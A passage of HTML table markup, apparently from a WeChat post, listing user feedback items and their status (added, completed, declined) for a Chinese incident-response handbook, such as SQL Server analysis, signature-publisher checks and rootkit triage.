leaf="">微信</span></p></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">反馈内容</span></p></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">添加 SQL Server 应急分析</span></p></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">完成情况</span></p></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">已添加</span></p></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">完成时间</span></p></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">2024-07-10 00:43</span></p></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">备注信息</span></p></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf=""><br/></span></p></td></tr></tbody></table><h3 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;color: black;font-size: 20px;"><span style="display: none;"></span><span leaf="">12. 完善二进制程序校验逻辑</span><span style="display: none;"></span></h3><table style="display: table;text-align: left;"><thead><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><th style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;font-weight: bold;background-color: #f0f0f0;text-align: left;"><p><span leaf="">反馈项</span></p></th><th style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;font-weight: bold;background-color: #f0f0f0;text-align: left;"><p><span leaf="">反馈信息</span></p></th></tr></thead><tbody><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">反馈编号</span></p></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">WYJXY-0012</span></p></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">反馈者</span></p></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">NOPTeam</span></p></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">反馈时间</span></p></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">2024-03-01 20:54</span></p></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">反馈途径</span></p></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">作者自查</span></p></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">反馈内容</span></p></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">验证签名通过后应该进一步验证签名发布者是否为微软</span></p></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">完成情况</span></p></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">已完成</span></p></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">完成时间</span></p></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">2024-03-06 23:59</span></p></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">备注信息</span></p></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf=""><br/></span></p></td></tr></tbody></table><h3 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;color: black;font-size: 20px;"><span style="display: none;"></span><span leaf="">13. 修改 powershell 为 Powershell 【美化】</span><span style="display: none;"></span></h3><table style="display: table;text-align: left;"><thead><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><th style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;font-weight: bold;background-color: #f0f0f0;text-align: left;"><p><span leaf="">反馈项</span></p></th><th style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;font-weight: bold;background-color: #f0f0f0;text-align: left;"><p><span leaf="">反馈信息</span></p></th></tr></thead><tbody><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">反馈编号</span></p></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">WYJXY-0013</span></p></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">反馈者</span></p></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">NOPTeam</span></p></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">反馈时间</span></p></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">2024-03-04 16:20</span></p></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">反馈途径</span></p></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">作者自查</span></p></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">反馈内容</span></p></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">出于美观需求，将 </span><code><span leaf="">powershell</span></code><span leaf=""> 写成 </span><code><span leaf="">Powershell</span></code></p></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">完成情况</span></p></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">已完成</span></p></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">完成时间</span></p></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">2024-03-04 16:27</span></p></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">备注信息</span></p></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf=""><br/></span></p></td></tr></tbody></table><h3 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;color: black;font-size: 20px;"><span style="display: none;"></span><span leaf="">14. 添加 beaconEye 工具</span><span style="display: none;"></span></h3><table style="display: table;text-align: left;"><thead><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><th style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;font-weight: bold;background-color: #f0f0f0;text-align: left;"><p><span leaf="">反馈项</span></p></th><th style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;font-weight: bold;background-color: #f0f0f0;text-align: left;"><p><span leaf="">反馈信息</span></p></th></tr></thead><tbody><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">反馈编号</span></p></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">WYJXY-0014</span></p></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">反馈者</span></p></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">爱做梦的大米饭</span></p></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">反馈时间</span></p></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">2024-03-05 11:09</span></p></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">反馈途径</span></p></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">微信</span></p></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">反馈内容</span></p></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">根据 Yara 检测恶意程序</span></p></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">完成情况</span></p></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">暂不添加</span></p></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">完成时间</span></p></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">2024-03-07 00:11</span></p></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">备注信息</span></p></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">工具已经3年未更新</span></p></td></tr></tbody></table><h3 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;color: black;font-size: 20px;"><span style="display: none;"></span><span leaf="">15. 新建 Windows 近期活动检查项</span><span style="display: none;"></span></h3><table style="display: table;text-align: left;"><thead><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><th style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;font-weight: bold;background-color: #f0f0f0;text-align: left;"><p><span leaf="">反馈项</span></p></th><th style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;font-weight: bold;background-color: #f0f0f0;text-align: left;"><p><span leaf="">反馈信息</span></p></th></tr></thead><tbody><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">反馈编号</span></p></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">WYJXY-0015</span></p></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">反馈者</span></p></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">NOPTeam</span></p></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">反馈时间</span></p></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">2024-03-01 20:54</span></p></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">反馈途径</span></p></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">作者自查</span></p></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">反馈内容</span></p></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">增加近期Windows活动以及二进制执行记录</span></p></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">完成情况</span></p></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">已完成</span></p></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">完成时间</span></p></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">2024-03-06 00:08</span></p></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">备注信息</span></p></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf=""><br/></span></p></td></tr></tbody></table><h3 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;color: black;font-size: 20px;"><span style="display: none;"></span><span leaf="">16. 添加 360系统急救箱</span><span style="display: none;"></span></h3><table style="display: table;text-align: left;"><thead><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><th style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;font-weight: bold;background-color: #f0f0f0;text-align: left;"><p><span leaf="">反馈项</span></p></th><th style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;font-weight: bold;background-color: #f0f0f0;text-align: left;"><p><span leaf="">反馈信息</span></p></th></tr></thead><tbody><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">反馈编号</span></p></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">WYJXY-0016</span></p></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">反馈者</span></p></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">megaparsec</span></p></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">反馈时间</span></p></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">2024-03-23 19:53</span></p></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">反馈途径</span></p></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">微信</span></p></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">反馈内容</span></p></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">杀毒软件推荐 360系统急救箱</span></p></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">完成情况</span></p></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">暂不添加</span></p></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">完成时间</span></p></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">2024-03-23 20:23</span></p></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">备注信息</span></p></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">不适用于服务器系统，且不比360杀毒强</span></p></td></tr></tbody></table><h3 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;color: black;font-size: 20px;"><span style="display: none;"></span><span leaf="">17. 添加文件时占用强制删除</span><span style="display: none;"></span></h3><table style="display: table;text-align: left;"><thead><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><th style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;font-weight: bold;background-color: #f0f0f0;text-align: left;"><p><span leaf="">反馈项</span></p></th><th style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;font-weight: bold;background-color: #f0f0f0;text-align: left;"><p><span leaf="">反馈信息</span></p></th></tr></thead><tbody><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">反馈编号</span></p></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">WYJXY-0017</span></p></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">反馈者</span></p></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">megaparsec</span></p></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">反馈时间</span></p></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">2024-03-23 19:53</span></p></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">反馈途径</span></p></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">微信</span></p></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">反馈内容</span></p></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">存在文件占用时，无法强制删除，可以使用IObit Unlocker</span></p></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">完成情况</span></p></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">已添加</span></p></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">完成时间</span></p></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">2024-07-06 17:59</span></p></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">备注信息</span></p></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf=""><br/></span></p></td></tr></tbody></table><h3 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;color: black;font-size: 20px;"><span style="display: none;"></span><span leaf="">18. 添加使用沙箱</span><span style="display: none;"></span></h3><table style="display: table;text-align: left;"><thead><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><th style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;font-weight: bold;background-color: #f0f0f0;text-align: left;"><p><span leaf="">反馈项</span></p></th><th style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;font-weight: bold;background-color: #f0f0f0;text-align: left;"><p><span leaf="">反馈信息</span></p></th></tr></thead><tbody><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">反馈编号</span></p></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">WYJXY-0018</span></p></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">反馈者</span></p></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">megaparsec</span></p></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">反馈时间</span></p></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">2024-03-23 19:53</span></p></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">反馈途径</span></p></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">微信</span></p></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">反馈内容</span></p></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">鉴定样本可以借助沙箱，如果允许样本上传的话</span></p></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">完成情况</span></p></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">已忽略</span></p></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">完成时间</span></p></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">2024-03-23 19:54</span></p></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">备注信息</span></p></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">手册中已包含沙箱相关内容</span></p></td></tr></tbody></table><h3 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;color: black;font-size: 20px;"><span style="display: none;"></span><span leaf="">19. 添加 Rookit 的排查应急</span><span style="display: none;"></span></h3><table style="display: table;text-align: left;"><thead><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><th style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;font-weight: bold;background-color: #f0f0f0;text-align: left;"><p><span leaf="">反馈项</span></p></th><th style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;font-weight: bold;background-color: #f0f0f0;text-align: left;"><p><span leaf="">反馈信息</span></p></th></tr></thead><tbody><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">反馈编号</span></p></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">WYJXY-0019</span></p></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">反馈者</span></p></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">megaparsec</span></p></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">反馈时间</span></p></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">2024-03-23 19:53</span></p></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">反馈途径</span></p></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">微信</span></p></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">反馈内容</span></p></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">增加 Rookit 的排查应急</span></p></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">完成情况</span></p></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">暂未添加</span></p></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">完成时间</span></p></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">2024-03-23 20:23</span></p></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">备注信息</span></p></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">需要大家主动提供案例，使用网络上的案例可能会侵权</span></p></td></tr></tbody></table><h3 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;color: black;font-size: 20px;"><span style="display: none;"></span><span leaf="">20. 建议给pdf增加目录</span><span style="display: none;"></span></h3><table style="display: table;text-align: left;"><thead><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><th style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;font-weight: bold;background-color: #f0f0f0;text-align: left;"><p><span leaf="">反馈项</span></p></th><th style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;font-weight: bold;background-color: #f0f0f0;text-align: left;"><p><span leaf="">反馈信息</span></p></th></tr></thead><tbody><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">反馈编号</span></p></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">WYJXY-0020</span></p></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">反馈者</span></p></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">zer07z</span></p></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">反馈时间</span></p></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">2024-03-18 11:10</span></p></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">反馈途径</span></p></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">Github Issues</span></p></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">反馈内容</span></p></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">pdf增加目录；增加应急响应check list</span></p></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span 